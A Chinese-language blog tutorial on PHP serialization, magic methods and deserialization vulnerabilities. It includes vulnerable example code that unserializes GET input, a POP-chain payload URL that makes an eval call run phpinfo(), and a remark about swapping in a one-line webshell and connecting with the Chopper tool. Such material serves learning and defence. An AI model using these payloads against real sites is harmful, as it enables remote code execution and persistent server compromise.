php 0x01是什么意思,PHP序列化及反序列化分析学习小结

PHP反序列化

最近又遇到php反序列化,就顺便来做个总结。

0x01 PHP序列化和反序列化

php序列化:php对象 序列化的最主要的用处就是在传递和保存对象的时候,保证对象的完整性和可传递性。序列化是把对象转换成有序字节流,以便在网络上传输或者保存在本地文件中。序列化后的字节流保存了php对象的状态以及相关的描述信息。序列化机制的核心作用就是对象状态的保存与重建。

php反序列化:php客户端从文件中或网络上获得序列化后的对象字节流后,根据字节流中所保存的对象状态及描述信息,通过反序列化重建对象。

简单来说,序列化就是把实体对象状态按照一定的格式写入到有序字节流,当要用到时就通过反序列化来从建对象,恢复对象状态,这样就可以很方便的存取数据和传输数据。

序列化例子:

class test{

public $name = 'lu';

private $name2 = 'lu';

protected $name3 = 'lu';

}

$test1 = new test();

$object = serialize($test1);

print_r($object); ?>

最后输出:O:4:"test":3:{s:4:"name";s:2:"lu";s:11:"testname2";s:2:"lu";s:8:"*name3";s:2:"lu";}

注意:序列化对象时,不会保存常量的值。对于父类中的变量,则会保留

,序列化他只序列化属性,不序列化方法。

简单介绍下具体含义

5c0a424b9270488c05d1bd1b40db5cf7.png

但是我们注意到上面的例子序列化的结果有些不对。那是因为序列化public private protect参数会产生不同结果,test类定义了三个不同类型(私有,公有,保护)但是值相同的字符串但是序列化输出的值不相同。

通过对网页抓取输出是这样的

`O:4:"test":3:{s:4:"name";s:2:"lu";s:11:"\00test\00name2";s:2:"lu";s:8:"*\00*\00name3";s:2:"lu";}

public的参数变成 name private的参数被反序列化后变成 \00name\00name2 protected的参数变成 \00*\00name3

反序列化试例:

?php

class lushun{

var $test = '123';

}

$class2 = 'O:6:"lushun":1:{s:4:"test";s:3:"123";}';

print_r($class2);

echo "";

//我们在这里用 unserialize() 还原已经序列化的对象

$class2_un= unserialize($class2); //此时的 $class2_un 已经是前面的test类的实例了

print_r($class2_unser);

echo "";

?>

fdef1cacc1ffcadd9a9e2280a1ef821d.png

一般反序列化后必须要在当前作用域有对应的类(因为不会序列化方法),实例才能正确使用,所以再进行反序列化攻击的时候就是依托类属性进行,找到我们能控制的属性变量,在依托它的类方法进行攻击。将上面定义的lushun类删除之后。结果

aace67701bc525f8116fb20e3a140f5f.png

提示不完整的类

unserialize():将经过序列化的字符串转换回PHP值

0x02 PHP序列化漏洞是怎么产生的

要了解在序列化和反序列化之间的漏洞,我们先要了解PHP里面的魔术方法,魔术方法一般是以__开头,通常都设置了某些特定条件来触发。这里先提一下有个印象。

PHP的魔法函数

__wakeup, unserialize() 执行前调用

__destruct, 对销毁的时候调用

__toString, 类被当成字符串时的回应方法

__construct(),当对象创建(new)时会自动调用,注意在unserialize()时并不会自动调用

__sleep(),serialize()时会先被调用

__call(),在对象中调用一个不可访问方法时调用

__callStatic(),用静态方式中调用一个不可访问方法时调用

__get(),获得一个类的成员变量时调用

__set(),设置一个类的成员变量时调用

__isset(),当对不可访问属性调用isset()或empty()时调用

__unset(),当对不可访问属性调用unset()时被调用。

__wakeup(),执行unserialize()时,先会调用这个函数

__toString(),类被当成字符串时的回应方法

__invoke(),调用函数的方式调用一个对象时的回应方法

__set_state(),调用var_export()导出类时,此静态方法会被调用。

__clone(),当对象复制完成时调用

__autoload(),尝试加载未定义的类

__debugInfo(),打印所需调试信息

那么漏洞出现在哪呢。

序列化本身没有问题,问题还是那个经典的老大难:用户输入,我们可以控制序列化和反序列化的参数,就可以篡改对象的属性来达到攻击目的。为了达到我们想实现的目的,就必须对序列化和反序列化过程进行详尽的了解,利用或者绕过某些魔法函数。

来一个例子

class test{

public $target = 'this is a test';

function __destruct(){

echo $this->target;

}

}

$a = $_GET['test'];

$c = unserialize($a);

?>

我们构造一个反序列化来修改$target的内容,就可以制造一个xss弹窗,既然我们可以控制$a的输入

class test{

public $target = '';

}

$a = new test();

$a = serialize($a);

echo $a;

?>

bec396ee2e3564312002e4c2826ab16c.png

0x03 魔法函数的触发顺序

我们重点关注以下几个魔法函数

这里我们着重关注一下几个:

构造函数__construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。

析构函数__destruct():当对象被销毁时会自动调用。

__wakeup():如前所提,unserialize()时会自动调用。

__toString()当一个对象被当作一个字符串使用

*__sleep()在对象在被序列化之前运行,用于清理对象,并返回一个包含对象中所有变量名称的数组。如果该方法不返回任何内容,则NULL被序列化,导致一个E_NOTICE错误。

测试代码

class lushun{

public $test = '123';

function __wakeup(){

echo "__wakeup";

echo "";

}

function __sleep(){

echo "__sleep";

echo "";

return array('test');

}

function __toString(){

return "__toString"."";

}

function __conStruct(){

echo "__construct";

echo "";

}

function __destruct(){

echo "__destruct";

echo "";

}

}

$lushun_1 = new lushun();

$data = serialize($lushun_1);

$lushun_2 = unserialize($data);

print($lushun_2);

print($data."");

?>

输出结果:

52ec8aff683dc49c5909a5e489ae12ef.png

可以看到__destruct函数执行了两次,说明有两个对象被销毁,一个是实例化的对象,还有一个是反序列化后生成的对象。

0x04 魔法方法的攻击

先来看个例子

class One {

private $test;

function __construct() {

$this->test = new Bad();

}

function __destruct() {

$this->test->action();

}

}

class Bad {

function action() {

echo "1234";

}

}

class Good {

var $test2;

function action() {

eval($this->test2);

}

}

unserialize($_GET['test']);

可以看到需要我们传入一个序列化后的字符串作为参数,然后看定义了三个类第一个One类里有两个魔法函数,一个构造函数一个析构函数,构造函数把One类的test属性变成Bad类的实例,析构函数就执行action()方法,但是到现在还是没发现什么有价值的东西,再往下看Good类里有eval函数,这个函数很危险能够执行php命令,知道了这些想想怎么能利用上,如果我们能将构造函数的test属性从Bad类转到Good类,再给Good类的test变量定义一个可以执行的值,是不是就可以用上了呢。看一下实现代码。

class One {

private $test;

function __construct() {

$this->test = new Good();

}

}

class Good {

var $test2="phpinfo();";

}

$A = new One;

print(serialize($A));

5f0b04ebba205cbe9b656108c2770139.png

这里可能你也有个疑问,php序列化的时候是不会序列化方法的,但是这里序列化之后还是带着构造方法所引用的对象信息,我将构造方法删除之后,在执行了一次,是这样的。

eba48f091823d6bab58c5c36259b19dd.png

发现构造函数还是影响了序列化的操作,这里着实困扰了我一阵,后来发现是我傻了,在序列化之前已经先new了一个对象构造函数已经先执行了,已经将test的属性改为Good类的对象了,所以序列化时自然会带上Good类。

接下来就可以用生成的序列化结果复制出来,像之前的代码发起请求

192.168.0.103/13.php?test=O:3:"One":1:{s:9:"%00One%00test";O:4:"Good":1:{s:5:"test2";s:10:"phpinfo();";}}

注意:test是private类型,记得加上%00xx%00,我们在传输过程中绝对不能忘掉.

c3c5c9e05e27025f78f918584d8179b6.png

这里我还尝试了一下把$test2的值换成一句话马

2ecfe16262cb762402514e588fda792a.png

然后构造url用菜刀连接

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值